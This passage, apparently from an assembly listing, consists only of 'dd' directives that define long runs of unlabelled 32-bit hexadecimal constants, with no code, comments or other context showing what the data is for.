		dd 27B60212h, 46A506A7h, 8D3E8300h, 9F73E96Fh, 84E4FABCh
		dd 0CA314FDEh, 43E2A07h, 801C1628h, 6C5B2C61h, 0C25A1346h
		dd 0CAF340EBh, 8ED4F03Fh, 825C2C07h, 0FB277A0Fh, 3875F6D5h
		dd 5038A24Dh, 0E5A7997Eh, 0D28A208h, 0F3BEB5BEh, 0EDCFF463h
		dd 66386D2Ah, 7EAEE332h, 0B19A7E2Eh, 59DE39ECh,	0F76C0953h
		dd 4EC8B1AFh, 56B910h, 9C451F2Fh, 9B3B307Ah, 3137E472h
		dd 0A52F5D6Dh, 0E53BB673h, 42C6AF98h, 97805AC6h, 0EF48B049h
		dd 0A1E9FBCCh, 0C96B382Eh, 4F33DB7Ch, 6E999EF8h, 59D9EFF8h
		dd 0D971B292h, 695C5E6Ch, 15F41207h, 10BD63Dh, 3ABD00A2h
		dd 2B9595F8h, 155C1473h, 49D2DC97h, 0B4445953h,	0C3F293B2h
		dd 53AE2B47h, 77357DC6h, 2282786Bh, 2E5802CAh, 75C0C463h
		dd 85189FE0h, 7BD015Bh,	7EE87BE3h, 302F7347h, 69B29620h
		dd 8E97C3F2h, 0C5CCDDE5h, 695C797Ch, 0B9F13CDBh, 0DDD67AB8h
		dd 907407D2h, 3384C16Ah, 0A56E5750h, 4640AA84h,	9DBE0155h
		dd 123C1EAFh, 0AD607ACAh, 7B668590h, 0C99698D8h, 0FEAF900Fh
		dd 66009B04h, 14CA2BD7h, 0CFF43EA3h, 58AB044Ah,	67E04722h
		dd 0D106DAFDh, 0EE8950DFh, 14416DE6h, 9F413E2h,	0EA9F947Ch
		dd 25E59613h, 0FACBA651h, 9C091BD7h, 29BEC427h,	2473CEDh
		dd 58C51709h, 3113E1ACh, 0C680B3C3h, 290D649Eh,	0D96F8ABEh
		dd 16872441h, 52462B26h, 0F6E55E0Eh, 0E326DDFAh, 0C0ACC369h
		dd 0AC7536ADh, 0F97A6A8Dh, 63DF6F36h, 2CBA655Bh, 109F7FB1h
		dd 0F210B914h, 5A3B5700h, 0F17173DCh, 0CD13BA35h, 0D99F1900h
		dd 8BAF1982h, 2DDD7494h, 0A0DDD89Ah, 41B69031h,	58DDCB3Dh
		dd 261172C3h, 0E420CE6Eh, 6F6F30FAh, 6DF4E5B1h,	0B3A66DDCh
		dd 9281C81Dh, 0EC378E4Eh, 0D8D66C91h, 0ACBCD06Ch, 7D72A3C1h
		dd 96028006h, 0D41F511Fh, 17F7664Eh, 3D5A34DEh,	10D7E6EAh
		dd 2D6CA5C7h, 5C9E7590h, 0EE956B9Eh, 38B93BAFh,	835A327Eh
		dd 3FFEE0E2h, 1261F41Bh, 7F3C79DFh, 0A224C62Ch,	1B19C19Bh
		dd 3ECB74CAh, 0AE79CBA8h, 57602F7h, 96FF86C7h, 0C5E66C43h
		dd 2F7D490Fh, 2B6B6D6Bh, 0E3B80AD9h, 821C7BFAh,	0ECEDAE3Dh
		dd 5BD16541h, 10D7E0D0h, 3BC5E118h, 0AAAB905h, 8ADC4B0Bh
		dd 0F92B8EEAh, 97163C83h, 0A0CE38D1h, 67CB5C68h, 84BB86BCh
		dd 39766DD7h, 0F86176D0h, 98E72EFFh, 0C35028D9h, 13211C81h
		dd 1C593D0Bh, 0DD3C39A0h, 0FE9923A3h, 633DAF7Eh, 2778926Eh
		dd 103349A0h, 44217C68h, 0B1CC094Bh, 0FD023F45h, 0E504ED11h
		dd 64B2AA61h, 0D89A81F8h, 963680CAh, 0D2E03BE9h, 0D4A6C8CAh
		dd 3DFA6159h, 0CAB34FBh, 85389DAEh, 3CE40BC7h, 90D222A4h
		dd 0CDAD75CCh, 3FD8849Ah, 33C131CEh, 92A18BF9h,	6B77E54Bh
		dd 88C5D6CBh, 9B3B3455h, 0DE824004h, 8DCBAFD1h,	500FAF24h
		dd 0D7637196h, 2A13CEF4h, 73421924h, 1D1CE65Dh,	312A593h
		dd 0A9045473h, 0F4ED153Bh, 5DBD8124h, 9ABBC598h, 0FEE74C72h
		dd 0BF4E71F1h, 57ACD647h, 0FA7256D7h, 8680B93h,	94E1D7BDh
		dd 34D6E90Dh, 24F8A8FEh, 0CB99D291h, 239C6950h,	0B515C3EBh
		dd 98587CE8h, 45B2EA1h
		dd 59FA4E00h, 0A6FC5BE1h, 0CE8D1C50h, 0E2816633h, 9BE41251h
		dd 8BC2F13Bh, 0AC6DB57Dh, 0B04E1B42h, 6D1B774Bh, 24E514B9h
		dd 1D32429Eh, 617D06Dh,	3FEDF288h, 0F134E017h, 0DFC7D6ACh
		dd 248B1D3Eh, 334C9402h, 48C32117h, 49BB6E74h, 18A53040h
		dd 2E9B56C2h, 4422E240h, 0A26792D8h, 0AE6FF090h, 5C71951Ah
		dd 0E453BE7h, 59E1B198h, 0F2307123h, 0B4AF9A3Eh, 2E59A8B5h
		dd 0D98E0EFCh, 0FE1694CEh, 66B0672Dh, 18B0B15Ah, 8FEC5826h
		dd 0D2339E3Fh, 0F40796CAh, 8ECF5DA5h, 34550FAFh, 5062D47Ah
		dd 48051BE1h, 3DBFBCA8h, 0ADEE5D7Dh, 72333E13h,	817B5BCAh
		dd 0D7121F35h, 65CB22B5h, 4000B7F7h, 155E9F4h, 401472D6h
		dd 99BDD19Dh, 7FD80D7Dh, 0F9AF8A4Fh, 0F0EB42F0h, 72801ED3h
		dd 0EF8B6AE0h, 647997A8h, 8CFDE017h, 733CD7Bh, 4738F4CFh
		dd 0EC183D34h, 0CF4A2CBDh, 7BF433C1h, 0DC3431EEh, 0FDC56A3Bh
		dd 150DC07h, 5CE0BEDFh,	28C42C39h, 81DB5227h, 0CF26B104h
		dd 8BC9599Fh, 0E3F6C29h, 940D5DF2h, 309F0D2Ah, 0DD5389D6h
		dd 223096AAh, 111FEA87h, 909C2CFh, 5BF0AB57h, 0A9FD737Ah
		dd 0F59A5310h, 71E47976h, 0CA8BDA8Eh, 0AF23477Dh, 51505045h
		dd 86D1CAE3h, 1FE00795h, 0F3976F4h, 3AF132D6h, 0BDA13426h
		dd 664C1A04h, 0DB7D4691h, 0FCB85DC2h, 0DB4FC94Bh, 0B2660A08h
		dd 5E9BFB27h, 6936ADB4h, 12D78BD2h, 50D4331h, 0BC145E92h
		dd 0AF943735h, 9F577C5Ch, 12DE758h, 8983A6FCh, 486686F6h
		dd 0C7F73F65h, 0EA9825D9h, 646F5F37h, 0ED13CA73h, 8D0814BBh
		dd 1B89313Ch, 0C49FA945h, 75012574h, 0EB0C091Dh, 1C774924h
		dd 0F463A4E5h, 52E0B230h, 85F99FFBh, 0F66CC970h, 6678D0AAh
		dd 67A695DCh, 3929F9Eh,	5871B871h, 0FD318B1h, 2A887282h
		dd 5DBAAD60h, 94853DBh,	0B642E8D0h, 4DB2EF37h, 885E4F5h
		dd 4CDDC975h, 5317BF7Eh, 976ADB9Eh, 2F8BBBF9h, 0B10FE1BAh
		dd 0E097F9D5h, 13E2CC02h, 0C2066CCCh, 0C5189C04h, 9112C364h
		dd 0E4A5DC74h, 6AF902BAh, 0B6F13EDFh, 0F29A070h, 0F4091137h
		dd 0FA4F254h, 669B4E1Dh, 5741EA15h, 0E3FA4D24h,	296685FAh
		dd 0CA566362h, 1CFEE75Ah, 0F65D7C9Eh, 19750F8Bh, 0BC8A2C22h
		dd 2075E433h, 0E0D6EDE5h, 0F2510BA2h, 72A84953h, 49D3EC6Ch
		dd 260BA069h, 0C1E45AA5h, 29AB01C2h, 0F94CF4D7h, 7BDF8C00h
		dd 24709E4Fh, 16F3CA3h,	0F24AE09Dh, 0CBA846ADh,	0C31E3C54h
		dd 65CEEAEBh, 16DCD39Bh, 0B3804144h, 9B447B8Bh,	8FAF64FCh
		dd 0F7991489h, 0BC7C7EFh, 0DB701DECh, 0C6B3C763h, 458D1688h
		dd 38F05593h, 849CB743h, 0D8EB63B9h, 16E7DEE6h,	84B47450h
		dd 0CB4C3145h, 9F499C5Bh, 0E6AD58B7h, 6A4844F4h, 0ECDB72C0h
		dd 4B68C06Dh, 5C17BEAh,	0D16BBB34h, 0CE4861A1h,	2B10D1BEh
		dd 4C54E416h, 6EDEB3A4h, 5741201Dh, 319E4E5Fh, 0FE931043h
		dd 0CDF9AB87h, 6D7400C2h, 0D10C049Eh, 198C818Eh, 1348E594h
		dd 451A1F35h, 0AE351BE2h, 0E68D17FFh, 4BD3549Bh, 0E814AE79h
		dd 0CE820711h, 0D376C65Ah, 0C682CFFCh, 4310AD25h, 0A7B936D2h
		dd 3ECEF294h, 2DDC90B3h, 4018776Dh, 0CAD6FA5Bh,	6C5B57D7h
		dd 0BE3007CAh, 3DBDB98Bh, 8FE1C289h, 8DC37998h,	0A6EF48B2h
		dd 0C953E88Bh, 91F6BDE1h, 0ED29D902h, 0AB0B4723h, 0A0616EB3h
		dd 0E317FC04h, 360ED6A6h, 22EA54F0h, 0FB006876h, 0E00A0A45h
		dd 10432640h, 3AF954B6h, 4AA1E19Eh, 0E4AF4518h,	21CD6BDDh
		dd 465B9197h, 0FD23150h, 25C8EBE1h, 21ACC4E3h, 9EC34A58h
		dd 0DA3BCBEFh, 0AC8A39B5h, 4BF4D98Ah, 1BCFF52h,	62ABEAADh
		dd 9375AE38h, 0BDFE037Ch, 1025588Eh, 64DC1089h,	9D3E85B5h
		dd 332DA34Dh, 0DB3ADF44h, 92DBC4F4h, 6F60707h, 0FD0ED1C4h
		dd 5ACF4DAEh, 0C79B7B36h, 5D808738h, 478DE514h,	295B1B82h
		dd 2A3122BFh, 5344DF50h, 1BF215Ch, 9E08FAE9h, 7749AD26h
		dd 0C9EFFD14h, 0A8082411h, 0A667ED77h, 0E4584F24h, 62F0527Fh
		dd 4B3B21A3h, 0E2D31C1Bh, 0C4AC8C17h, 460A9C24h, 81AFD327h
		dd 8172A0F5h, 0F4770931h, 3FA63E3Ch, 9B7035FEh,	84929EB8h
		dd 79F89DFh, 87A021Ch, 2146C309h, 0CE70AFCAh, 6EA0B85Fh
		dd 92EAF64Dh, 6B212684h, 9244A6Ch, 0B4D035DDh, 5D78C10Fh
		dd 0CE27C754h, 76772A04h, 2F8FCAD2h, 61FD8588h,	0E59BBB37h
		dd 0CD6D2DAh, 10E2E401h, 8A9FB556h, 80AB7010h, 6C802DBEh
		dd 42C2CD66h, 2CAC42Ch,	1EE74031h, 0A81EF4A9h, 0A9531ABEh
		dd 682B248Eh, 44BDA2Eh,	453005F4h, 0CB12F2FFh, 740A5508h
		dd 2B0DDA8Eh, 779CABB6h, 76F32AB1h, 0F5470C3Bh,	778335FAh
		dd 0F0391A2Ah, 0CCBC8204h, 5B6606DEh, 5B642726h, 7BAEA354h
		dd 177982F8h, 7CA5A515h, 54CEEDC7h, 0AC443AC6h,	4C3FDECDh
		dd 1AF957D8h, 0B9ACA340h, 915D0A43h, 12C825BBh,	3F2A4D97h
		dd 0E450AEB0h, 0C77EE0F2h, 0BEA0BCh, 0BE2DFEC3h, 0BF50981h
		dd 9B8FBC53h, 4F7068C6h, 71225366h, 0E49A4116h,	57D52DE8h
		dd 0B9B8FF49h, 0EFDA1153h, 98150552h, 0B5BE65EEh, 71F99B34h
		dd 0D4733FF4h, 5F4921FEh, 7E0F70F5h, 157632A4h,	35369540h
		dd 218A398Dh, 302865B3h, 3FD10519h, 2AEFF71Ah, 1DCC106Eh
		dd 0B105674Bh, 3F091F2h, 50F6AB36h, 297438FDh, 19884F01h
		dd 0CBEA6148h, 7858321Eh, 19D0932Ch, 0CC72B6D9h, 619F92F8h
		dd 1A6A79DDh, 7E16B766h, 5BC0F710h, 0D9137B9Ah,	2B5440A7h
		dd 102BE73Dh, 99ECC025h, 28A5963Ah, 33665C27h, 6C24067Ch
		dd 0DD1B476Ah, 2D7E0E01h, 0A57C65A2h, 3305A7C7h, 199BFEF7h
		dd 90318BF3h, 0C9DBB854h, 716028C5h, 2D3764F1h,	0F943F8CFh
		dd 0D4E77ADEh, 0B37F9F07h, 944252C1h, 732EFA2Ah, 0E1A3AC3Eh
		dd 0B24734E9h, 1DD79CCCh, 0BC1CA3ACh, 4C9465A1h, 0E8E95729h
		dd 398DAD53h, 0B7B73CD6h, 7841BCC2h, 3F54688Fh,	0A32F3CC2h
		dd 99D81911h, 14DC5B34h, 5A6FC3C7h, 0DE64ED46h,	1B9C7CB4h
		dd 0B5FA89E8h, 0CE608976h, 3D4ED711h, 3F859F04h, 939C0B3Dh
		dd 0CE921A51h, 0C82E3035h, 5F5F3A7Dh, 7C005ECAh, 58669681h
		dd 14C30B54h, 0BD38063Ch, 0AFB23CBAh, 5F890E05h, 0B7A2DA70h
		dd 1C715CECh, 7D7465B3h, 841FD37Ah, 0AE55C80h, 1A464E52h
		dd 35247FBDh, 203B1AA2h, 5C050C29h, 0E7686442h,	430B207Ah
		dd 0BE99DFE0h, 0F2B79FB2h, 0EC915877h, 90F016BAh, 2F8A87DFh
		dd 0A2B477D6h, 5AC76D40h, 0CE4E02B5h, 0CA1D540Fh, 291A7CA9h
		dd 0AE50F2FAh, 3E9DA68Ch, 67510D24h, 31704B5Ch,	1655335Bh
		dd 656C5BAFh, 48B414DCh, 4BE1828Bh, 8C093C8h, 0BB68249Ch
		dd 0F5F96859h, 482D4C69h, 0E4AAEB39h, 92893922h, 65D0EB6Dh
		dd 871FF6CAh, 8A6CA923h, 35068309h, 4A37339Ah, 44955457h
		dd 0CCEF91E7h, 0EAF63A9h, 0DF8301F2h, 0DB77EF53h, 973E5724h
		dd 0B7F98074h, 471BFBA7h, 979F5377h, 3E4E0699h,	873AABF7h
		dd 0D92F2D56h, 0FDE7C3E0h, 4FFFF3C0h, 48BA1240h, 2D084331h
		dd 5129E0C6h, 541A8223h, 0C1F87609h, 3E3D426Dh,	8C24355Fh
		dd 87543241h, 0DA8AE7B2h, 0C71F9BCFh, 0EC5C8FC8h, 6C6CFA3Ch
		dd 2343BF9Ah, 0BA939C4h, 1F71E5E3h, 0A85826CEh,	0A8704671h
		dd 20E87014h, 0A0D84FBh, 4E9470CDh, 187A65BAh, 0D5D362D0h
		dd 0DF9B9323h, 1242ADA2h, 0C37D63E4h, 0FEE3CE16h, 0F300FF30h
		dd 0F76D75ADh, 1EB8F2C6h, 0E9CB5443h, 0ACBA3257h, 46703B81h
		dd 0EFB3D384h, 7BA47A38h
		dd 5DD5A8D2h, 1A18B3C7h, 0B891483Bh, 0CC254AB4h, 6A679E5Ch
		dd 28F946B6h, 0F3A3A16h, 0A8DF5389h, 1F92EF1Fh,	9699BD3Dh
		dd 36CB0A8Eh, 9C78EAD0h, 0BAACCA05h, 7BBC92ABh,	96F703DEh
		dd 9699DBB2h, 299AD946h, 98E487EFh, 25700664h, 22C70CDCh
		dd 0E5BE939Bh, 0A2FAAC80h, 194DA6E4h, 0A6B4E4F6h, 0E9316110h
		dd 0DA6C88CAh, 0F1CAE2EFh, 3A756236h, 147F84D4h, 86DE7D50h
		dd 280813DCh, 62BB8B3Dh, 0AA08581Ch, 37AB1458h,	29DC9A4Eh
		dd 0EB1121Eh, 73B8F24Ah, 89C5D254h, 8F749423h, 0C8DE34C8h
		dd 2D5075EAh, 0E0999820h, 15C1C713h, 0F885051Fh, 6E851394h
		dd 0DE42AA5Ch, 0ED6A6EE0h, 9140A78Fh, 0C2BB089Eh, 0E974CC64h
		dd 56801241h, 48CE191Eh, 0A3CF5D6Ah, 0E5B13C6Ah, 2111323Ah
		dd 0FCA21DBCh, 27B58A1Ch, 0DE8402D8h, 5742C80Dh, 5B687F00h
		dd 957418AFh, 169A56A4h, 6CDD753Fh, 0FC0C4196h,	0B24B0DCEh
		dd 4646BA4Eh, 502E7A33h, 695E2230h, 0CFBDCDC9h,	1BB2A75h
		dd 0EAC2894Bh, 9878BA18h, 0F11D6C29h, 0F110E6F7h, 280A470Bh
		dd 0FB4A992Ch, 0D2CCDC59h, 0C086FA65h, 0BA1D97A5h, 0A06FDB9Dh
		dd 0DF1F3C00h, 0B5FE529Ch, 34F182EBh, 14602FC8h, 6E3297C4h
		dd 0E54247A9h, 1C529FB6h, 197CA2A5h, 13CDD76Bh,	8EF1DBFFh
		dd 0EB7EFBA2h, 8469D9B8h, 0FC6920C1h, 3AF223C3h, 0B636B39Eh
		dd 0A71E1F6Eh, 23B93968h, 65920886h, 74427F70h,	1A563B3Ah
		dd 216488A4h, 83FF9697h, 0BB52912Ah, 0A79DE1D7h, 432DEC91h
		dd 840FFE42h, 7D972C7Dh, 0CFE6431Ch, 30089A7Dh,	71EF17FAh
		dd 0E6AEF356h, 1902675Ch, 1572DEB0h, 101CFF2Fh,	4141EEFAh
		dd 483A25C1h, 0B109C3B0h, 98FE9CBFh, 7D224962h,	9DCF9EA3h
		dd 6C7B5B08h, 0A9A6043Ch, 698A0C4Fh, 39F8E1ABh,	86DD6196h
		dd 0F4B82F6Ah, 0ECA39572h, 80604BD0h, 0CCAF6744h, 0E0AB82A5h
		dd 0FDA2B9F2h, 6B5BF5DFh, 6A302A91h, 4CC66596h,	75CDE49Fh
		dd 63BE89E5h, 8EC3657Eh, 0D63E38F8h, 7D568A7Bh,	0DF9CFC7Eh
		dd 302893F5h, 0B766DFA4h, 38DCDF55h, 4050B4AEh,	0D416D170h
		dd 3EC0CCE5h, 5A93BFAAh, 453A330Fh, 91077B1Dh, 62052538h
		dd 0AB5E3A6Eh, 5C84D98Dh, 39480ADh, 487753A2h, 7DE3FF27h
		dd 6F129AF5h, 4872FCA3h, 0E893C383h, 6741E436h,	12F14E71h
		dd 0B8F6310Dh, 45AA6504h, 0A767F78Fh, 1666B18Fh, 0C9E8E49Eh
		dd 0F042A15Dh, 40B2F6C4h, 88286A8Ch, 6629FAAh, 0E0210F59h
		dd 0A67ED19Dh, 0C9AB441Fh, 0A6DD0A5Ah, 0BB91D1BAh, 4217B949h
		dd 9F688266h, 6AEEE75Eh, 17D1EAFBh, 953C136Eh, 8D8D1B88h
		dd 5B67FBFAh, 7F88FF6Bh, 3FAC3DA9h, 8B4C19FBh, 0D9D2F191h
		dd 3ACFE4B7h, 2EC6CF1Ch, 18420DE4h, 61AEA885h, 3714453Dh
		dd 405A68EDh, 11592BD4h, 2EE4967h, 2EE176B2h, 0A64FF677h
		dd 0AA9ADB5Eh, 8D301951h, 0C95BCE15h, 0C9141C25h, 8E62E54Ch
		dd 186E272h, 5C6F424Eh,	0F8024FE8h, 41FB880Eh, 0A578B979h
		dd 0C11C66C4h, 59C6B7AAh, 2450D5D9h, 0F0E3C10Eh, 0FAD561E3h
		dd 84F90C94h, 45204B59h, 85546F04h, 0A4C73296h,	191B6E1Ch
		dd 7B0D745Dh, 2A4D2B9Ah, 0A5211BD6h, 63399E64h,	0B4016F1h
		dd 0D27727E8h, 645541BAh, 0B74835ECh, 0C5F76D9Bh, 0E036A6D3h
		dd 0D967B249h, 0B7115C4Bh, 148D4A6Ch, 3EF77098h, 0ECD0A3BAh
		dd 3F5B0D7Ah, 8397C316h, 4AF10B1Dh, 167B039Ah, 0F6FB0A67h
		dd 0FF67E567h, 0A28E3336h, 9133AC2h, 0DACD151Ah, 0E28A2EB2h
		dd 6EE3BA5Bh, 0A78104FEh, 0B1AB7CEAh, 0F8D222BAh, 0CC1BAF08h
		dd 1EFAB3F7h, 0F961D745h, 0D6629D8Fh, 0F2D2BF41h, 0DD85D088h
		dd 74322F89h, 0AC0F11CCh, 0AB6AE1B9h, 94AFD3h, 0DCA4B6B9h
		dd 45B344C6h, 0EC47C0C6h, 0CDD61C15h, 76E6AC8h,	4AB1BF76h
		dd 9FCA6D76h, 275BEBF0h, 96687275h, 35C5EDEEh, 4A158CB5h
		dd 1E2F3B1Ah, 0CA2DD9h,	3F5FD627h, 0B097A9E5h, 5D072EE3h
		dd 7C0E4358h, 0CDDFA38h, 64ACA2A2h, 5A042ED0h, 0BB4AE8F5h
		dd 0D422207Fh, 8D2DCBFFh, 0A9A91C78h, 2C043BD4h, 3C8548C4h
		dd 0CD413731h, 3CFB0FF6h, 0B089D308h, 0D65DDE70h, 72C76E98h
		dd 0CA34C8BBh, 41FDB35Dh, 2B86B3C0h, 0DF8F8AA3h, 82511F9Dh
		dd 87DB137Fh, 6022C498h, 0A211B4D3h, 8B8F198Ah,	7F66BAE8h
		dd 8C14FF26h, 0CC65E6BDh, 59353DC3h, 0B7C14DC7h, 0F1AA5840h
		dd 0B84E02Fh, 303A8D40h, 475B978Ah, 0A7D9646h, 0C0AE84BEh
		dd 0FE33F4AFh, 6ACA84Eh, 11A73034h, 28A8947Eh, 42CDE3F1h
		dd 895A02ACh, 8A861336h, 812ED508h, 47041992h, 0C0024387h
		dd 61000F21h, 8000BF7h,	50D3559Dh, 992C8F6Fh, 7183A701h
		dd 0E08867BAh, 87E04502h, 5CDF06DBh, 23FBB99Eh,	0FEF733FFh
		dd 0E175E617h, 446AA046h, 0D35664C5h, 0D96A2380h, 472D1844h
		dd 6982562Eh, 0C3764374h, 0C92CAF42h, 77D57B0h,	0C24DFF46h
		dd 0C6B12FDEh, 37FEA753h, 0BC26EEF3h, 0FCA7E4F1h, 6ABFA9FBh
		dd 0BF4A7AE1h, 46E695DAh, 34BE505Dh, 2EBDE3F6h,	33428111h
		dd 7E899F96h, 0CC7E959Bh, 0B2E9B233h, 0C651FE8Eh, 0ABFFEB41h
		dd 78BD9E43h, 45926E4Fh, 45B15071h, 8B5F8458h, 1DD4709Eh
		dd 0BE18B7FAh, 3B0D1893h, 21FCB25Ah, 6CD6FC5Eh,	7900C132h
		dd 0A593A20Ah, 4CBD8CEDh, 0C99FEAE2h, 8B9A157Dh, 3E564217h
		dd 56C07FB9h, 6C6BDBE3h, 0FEADB1FBh, 0BF47EC4Ch, 631CCA66h
		dd 51E384EFh, 0A2913CFFh, 1992FF6Dh, 0B6976A63h, 0AFB33CCCh
		dd 0B12E3536h, 8E2C483Eh, 9275F90Eh, 0D0D61930h, 0AC1D90Ch
		dd 1B825C2Dh, 30C4C10Ah, 0E3591054h, 0ADC70794h, 0DFCE27D4h
		dd 0B2E687Dh, 26F628F3h, 511CB871h, 7150C9AAh, 0AD474574h
		dd 0DE827344h, 765C305Bh, 81D6E950h, 60E3156Ch,	3CA77ABFh
		dd 9EE3ED5h, 8C773E4Bh,	7C725D68h, 0DB15F59Eh, 48B2430Ah
		dd 0D177939Bh, 0D047E19h, 49B49DAAh, 4D5EFAC6h,	63C9CF37h
		dd 0D3A6E4F1h, 0EE174496h, 6AF28276h, 0FA93F445h, 45765F8Ch
		dd 0C108BBEDh, 0CB7CE398h, 18EBA669h, 1F03F19Fh, 7467555h
		dd 0CD8293C9h, 3F19858Bh, 0D087D6AEh, 373EEDFFh, 86530D97h
		dd 0E9744C6h, 7A8D4D92h, 0A6B3BEE9h, 9DD49571h,	0B92E8CDCh
		dd 5C36B5Ah, 0C3A8B3BAh, 9E86AA5Eh, 3DA0CEF8h, 4EE03419h
		dd 0B6B48E4Ah, 5C6B673Fh, 94F1ADE0h, 85D589DAh,	88850A8Fh
		dd 1D40A444h, 0E3BB1549h, 3F45A88h, 95D0717Bh, 88D78664h
		dd 0EED2B042h, 7C21A006h, 0E08AC5BBh, 692447FAh, 994B5E74h
		dd 765694C9h, 0A5047CCBh, 0AC38DF3Ch, 44B0E83Eh, 0A4023E3h
		dd 7AD5F715h, 0D1E53096h, 4432EF4Fh, 0C958F582h, 0EB53A7CBh
		dd 0E2B74DA3h, 0C98AAF56h, 0F36CE17h, 8FD4DE86h, 0CBCF45AFh
		dd 0DDDFDA9Ch, 0B915E55Dh, 0D6269465h, 0D9461DA6h, 44264D2Bh
		dd 7EE4526Ch, 0BE0AB790h, 46FCA287h, 0D42C13C4h, 62C9F47Fh
		dd 8054CC6Ch, 0A4FD0AB7h, 0B2A3616Fh, 0D4DE2B9Ch, 2FC1496Bh
		dd 2FFF1C1Dh, 0FC720CBAh, 0B6514229h, 82881FFAh, 4D7096EFh
		dd 710D321Dh, 0E25FEE46h, 3A97BE68h, 0A80471CBh, 0F7E3243Ch
		dd 40EC059Ah, 1F11CCDFh, 0B790A664h, 6B247BB4h,	3787EAEFh
		dd 0E533191Ch, 0BE39339Ah, 600AC3A7h, 0F7C5DE02h, 0D9F51893h
		dd 3AA56E04h, 0CA851BDFh, 0D30ED685h, 0F2257338h, 0DDADDBF1h
		dd 6C98F5E0h, 95922D8Bh, 0C4C47450h, 55A61D7Ch,	3FC567D2h
		dd 0F548E662h, 0C30A1Bh, 0DEC102B3h, 6F83E8B6h,	115DF60Eh
		dd 0DC803299h, 0D6B1FC22h
		dd 0AC9C78D0h, 0EEE73686h, 0B5F704B3h, 2B79BDE2h, 528FC82Ch
		dd 744778FDh, 7DF6A139h, 44AA3A1h, 689FF74Bh, 0B8DEA78Dh
		dd 0C5BC94E5h, 0FA3767A1h, 0CFC6E77Ah, 0CAFEE018h, 74E7EFC2h
		dd 0A5EC51C2h, 3F12CD4Fh, 85D68437h, 0E1F1CFE2h, 0FEA1C309h
		dd 0BC3618C8h, 0D3DAFA3Eh, 7142C4DDh, 73937C64h, 0F2FA56F1h
		dd 52BD8CF0h, 3D2A938h,	0CE8065DBh, 9D42C6B8h, 1361CB75h
		dd 0A73EE5AAh, 89CEFC0h, 0D51C4AD9h, 0ACBA0F8Ah, 0BDA416B9h
		dd 339D71E0h, 0FB9A5653h, 0B9181A03h, 0E162D776h, 0B0F63BE6h
		dd 0BED562A8h, 856676F3h, 0F167985Bh, 9132E6Ah,	0FBAE5D2Ah
		dd 365CEC2Ch, 15FC6B37h, 7E1EA285h, 5C5A7040h, 0F40F54C9h
		dd 2DD94FD9h, 0EE57B3A8h, 65B5AA20h, 0C394B45Bh, 9CBA82F5h
		dd 303FE492h, 0E69BB9C8h, 64A2A46h, 0BBC9C18Bh,	3C6F1999h
		dd 96593DA1h, 0AC324521h, 848E4F23h, 0BBBB9AE9h, 871E6F50h
		dd 0FE6EF568h, 0B96E4D4Dh, 0C80360B5h, 1C61D591h, 4055EDD1h
		dd 0DE189974h, 17A652F4h, 931DE595h, 52BDFCC3h,	1D40C8FEh
		dd 827654E9h, 0B66E7744h, 50AAA4B1h, 0DAF6E496h, 0AFC297B9h
		dd 1568A6E7h, 71C266Bh,	0B8708243h, 0F54C4712h,	0F6237AACh
		dd 40AB132Bh, 0F50D2916h, 0A61EC9Dh, 0DFB905AEh, 598FF61Dh
		dd 0C68480BAh, 8FAC3EF3h, 549C8546h, 0E279CC78h, 77D9F013h
		dd 0EB7BA03Ch, 45A6902Dh, 214E90B3h, 0F6E65557h, 6ABE263Ah
		dd 277D89CDh, 68787586h, 92018184h, 20EAD745h, 5D0FF455h
		dd 58A16997h, 0B982CA49h, 7968F7C4h, 0A0470C20h, 75E67760h
		dd 605E1DE7h, 0A47FB745h, 0A4502FC2h, 0C5C27A6h, 0BEEB583h
		dd 0C08AF761h, 896EB945h, 663BB464h, 25AE76BAh,	5BC97466h
		dd 8AFE8F53h, 32A01DC7h, 0F0AA4C3Ah, 0FE6BE50Ch, 0F2BA73F3h
		dd 0A6CB119Eh, 0FAF1B761h, 3A97D8F4h, 6B827E4Bh, 1E2FD46Ah
		dd 0BA3DD0AEh, 0AAB4C7E2h, 8C94925Ch, 2899DA5Fh, 2543CE6Bh
		dd 5C6E7630h, 4091CD55h, 0F242C623h, 0C320D665h, 3D27B7E5h
		dd 0C5A5B56Ch, 8E4AEA10h, 1181A48Ah, 95133046h,	4B5C1869h
		dd 382E9ACAh, 31876BE0h, 0B866BFCEh, 30CC5545h,	0F5A0C7E0h
		dd 37324C72h, 0CDFEDD63h, 0B60FCD44h, 8A997C1Ch, 0CD5E57B2h
		dd 0B579081Ah, 7769CA05h, 12B8C22Eh, 6F0BC390h,	0EEE4D45Eh
		dd 6C5DC242h, 0F6ECB1EAh, 4AB9304Ch, 7772E97Eh,	3DD86BA6h
		dd 45A5AE06h, 6B23865Eh, 0BE33C206h, 0DD77BA23h, 9B35BA86h
		dd 0AB462326h, 21D4C1B7h, 5D500EA4h, 0E2AEDD29h, 63DE5186h
		dd 0F8B8986Dh, 866DE2D3h, 240749E4h, 26609E78h,	5C4C898Fh
		dd 0A5332F01h, 476B590Ah, 254E249Ch, 7C0005D1h,	4412F17Eh
		dd 0AF36FEFBh, 98C3D4EBh, 0C8AF497Bh, 9382A945h, 5B9E5ABFh
		dd 9A048237h, 47FD4CFDh, 0F5FAA4A9h, 0B6D1EBCBh, 61C0ACB7h
		dd 5946C99h, 77F2EEF4h,	222644DCh, 0C6DD452Eh, 0B5AA9191h
		dd 0B1E86D81h, 4B7E1B0Fh, 1CB06435h, 88FCDB5Dh,	280ABD8h
		dd 75E2A963h, 87B8252Eh, 9BFDCFEFh, 10C8C3A1h, 1D7C44FBh
		dd 0AEE0BAF0h, 9250260Bh, 0D9315F9Ch, 0A223A2D9h, 73EDE393h
		dd 0D781EFB8h, 6571D59Bh, 0DA243A6Dh, 0B3B57982h, 5E19120Eh
		dd 56CE063Bh, 0EC816D94h, 0BD9AFC01h, 0D7807A09h, 0AB259FF8h
		dd 71C3CCC0h, 0ED1BDA65h, 21D7842Ah, 0B66CF0C9h, 0C6092EB4h
		dd 0A9C533A5h, 8804692Eh, 1563E975h, 58B5F96h, 830E44BBh
		dd 0D07823h, 9F417F27h,	170DCC2Bh, 772A364Ch, 6F2AF4C6h
		dd 114001B7h, 60AD906Ch, 0F6082136h, 0ECE0365Ah, 0A5A00B25h
		dd 1CCE3D2Eh, 0AC9B0E6Fh, 3588BBF2h, 5C0C2134h,	0D38E24EAh
		dd 3111F0D9h, 60527E9Ah, 54F6A5E6h, 0AD2F0E8Ch,	481F7F93h
		dd 6A6259F1h, 5596D73Dh, 0E48D301Bh, 74433982h,	1E81B0F8h
		dd 0C710D92Ch, 4535F5F0h, 7421EE76h, 0DEB8F8CDh, 88B4FCE1h
